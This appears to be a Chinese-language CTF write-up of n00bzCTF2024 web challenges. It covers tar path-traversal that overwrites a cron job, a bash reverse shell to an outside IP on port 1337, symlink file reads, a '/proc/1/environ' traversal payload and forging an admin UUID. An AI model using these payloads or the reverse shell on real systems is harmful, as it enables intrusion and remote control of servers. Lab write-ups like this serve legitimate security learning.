【Web】复现n00bzCTF2024 web题解(全)

目录

[File Sharing Portal](#File Sharing Portal)

方法一:

方法二:

Focus-on-yourSELF

Passwordless


File Sharing Portal

附件的Dockerfile给了这么一段

复制代码
# Add the cron job to the crontab
RUN mkdir /etc/cron.custom
RUN echo "*/5 * * * * root rm -rf /app/uploads/*" > /etc/cron.custom/cleanup-cron
RUN echo "* * * * * root cd / && run-parts --report /etc/cron.custom" | tee -a /etc/crontab
# Give execution rights on the cron job
RUN chmod +x /etc/cron.custom/cleanup-cron
RUN crontab /etc/cron.custom/cleanup-cron
RUN crontab /etc/crontab
  • 创建目录/etc/cron.custom 用于存储自定义的 cron 任务。
  • 定义清理任务 :每 5 分钟清理 /app/uploads/ 目录下的文件,写入到 /etc/cron.custom/cleanup-cron 文件中。
  • 在 crontab 中注册 :将 /etc/cron.custom 目录中的任务每分钟运行一次,run-parts 会执行目录下的所有脚本。
  • 赋予执行权限:给 cron 脚本执行权限。
  • 安装到 crontab :通过 crontab 命令安装任务到系统中。

那么我们可以用恶意文件覆盖/etc/cron.custom/cleanup-cron

注意到flag在/app下

复制代码
COPY REDACTED.txt /app/
# The flag file is redacted on purpose

题目源码存在目录穿越漏洞

tar_file.extractall() :解压 .tar 文件的 extractall() 方法未指定安全检查,因此如果 .tar 文件包含特意构造的文件路径(如 ../../),则攻击者可以将文件解压到任意目录,甚至覆盖系统中的敏感文件。

先用路径穿越覆盖/etc/cron.custom/cleanup-cron

方法一:

cronjob.txt

复制代码
#!/bin/bash
ls /app/ > /app/ls.txt

再给777权限

复制代码
chmod 777 cronjob.txt

生成一个恶意的tar文件,上传

复制代码
import tarfile
import os

# Overwrite the cronjob
with tarfile.open('write.tar', 'w') as tar:
    tar.add('cronjob.txt', arcname='../../../etc/cron.custom/cleanup-cron') 

再用软链接读/app/ls.txt

复制代码
ln -s /app/ls.txt dummy.txt

生成tar包,上传

复制代码
import tarfile

def create_tar_with_symlinks(tar_path, path):
    with tarfile.open(tar_path, 'w') as tar:
        tar.add(path, arcname=path)


create_tar_with_symlinks('read_ls_txt.tar', 'dummy.txt') # Read dummy.txt to read the `ls.txt`

读dummy.txt得到flag文件名

/app/flag_15b726a24e04cc6413cb15b9d91e548948dac073b85c33f82495b10e9efe2c6e.txt

复制代码
rm dummy.txt
ln -s /app/flag_15b726a24e04cc6413cb15b9d91e548948dac073b85c33f82495b10e9efe2c6e.txt dummy.txt

import tarfile

def create_tar_with_symlinks(tar_path, path):
    with tarfile.open(tar_path, 'w') as tar:
        tar.add(path, arcname=path)


create_tar_with_symlinks('read_flag.tar', 'dummy.txt') # Read dummy.txt to read the flag!

同理上传生成的tar,读dummy.txt拿到flag

方法二:

cronjob.txt直接写反弹shell

复制代码
#!/bin/bash
bash -c "bash -i >& /dev/tcp/124.222.136.33/1337 0>&1"

再生成恶意tar包,上传

复制代码
import tarfile
import os

# Overwrite the cronjob
with tarfile.open('rev.tar', 'w') as tar:
    tar.add('cronjob.txt', arcname='../../../etc/cron.custom/cleanup-cron') 

成功反弹shell

翻目录拿flag

Focus-on-yourSELF

点击View会显示一张图片

注意到url存在文件包含点

尝试打目录穿越

payload:

复制代码
/view?image=../../../../../../../../../proc/1/environ

base64解码拿到flag

Passwordless

源码

复制代码
#!/usr/bin/env python3
from flask import Flask, request, redirect, render_template, render_template_string
import subprocess
import urllib
import uuid
global leet

app = Flask(__name__)
flag = open('/flag.txt').read()
leet=uuid.UUID('13371337-1337-1337-1337-133713371337')

@app.route('/',methods=['GET','POST'])
def main():
    global username
    if request.method == 'GET':
        return render_template('index.html')
    elif request.method == 'POST':
        username = request.values['username']
        if username == 'admin123':
            return 'Stop trying to act like you are the admin!'
        uid = uuid.uuid5(leet,username) # super secure!
        return redirect(f'/{uid}')

@app.route('/<uid>')
def user_page(uid):
    if uid != str(uuid.uuid5(leet,'admin123')):
        return f'Welcome! No flag for you :('
    else:
        return flag

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1337)

自己生成给定命名空间下admin123的uuid即可

复制代码
import uuid

# 定义固定的命名空间 UUID
leet = uuid.UUID('13371337-1337-1337-1337-133713371337')

# 生成 uuid5 值
uid = uuid.uuid5(leet, 'admin123')

# 输出结果
print(uid)
#3c68e6cc-15a7-59d4-823c-e7563bbb326c

访问./3c68e6cc-15a7-59d4-823c-e7563bbb326c拿到flag

相关推荐
椰椰椰耶1 天前
[网页五子棋][对战模块]前后端交互接口(建立连接、连接响应、落子请求/响应),客户端开发(实现棋盘/棋子绘制)
java·spring boot·websocket·web
Star abuse2 天前
2025一带一路暨金砖国家技能发展与技术创新大赛第三届企业信息系统安全赛项
安全·web安全·ctf·全国职业院校技能大赛
落寞的魚丶2 天前
第三届宁波技能大赛网络安全赛项样题
网络安全·渗透测试·ctf·服务器配置·第三届宁波技能大赛
新中地GIS开发老师3 天前
25年GIS开发暑期实训营,15天Get三维可视化智慧城市开发项目
前端·人工智能·智慧城市·web·gis开发·webgis·地信
漫谈网络3 天前
CORS跨域资源共享解析
前端·后端·web·cors
abcnull3 天前
java中自定义注解
java·spring·springboot·web·注解
_Poseidon4 天前
2025蓝桥杯WP
蓝桥杯·wp·2025
kali-Myon4 天前
栈迁移与onegadget利用[GHCTF 2025]ret2libc2
c语言·安全·pwn·ctf·栈溢出·栈迁移·onegadget
sg_knight5 天前
Flutter Web 3.0革命:用WebGPU实现浏览器端实时光追渲染,性能提升300%
前端·flutter·跨平台·web
hnlucky5 天前
《基于Keepalived+LVS+Web+NFS的高可用集群搭建》
java·linux·运维·前端·web·可用性测试·lvs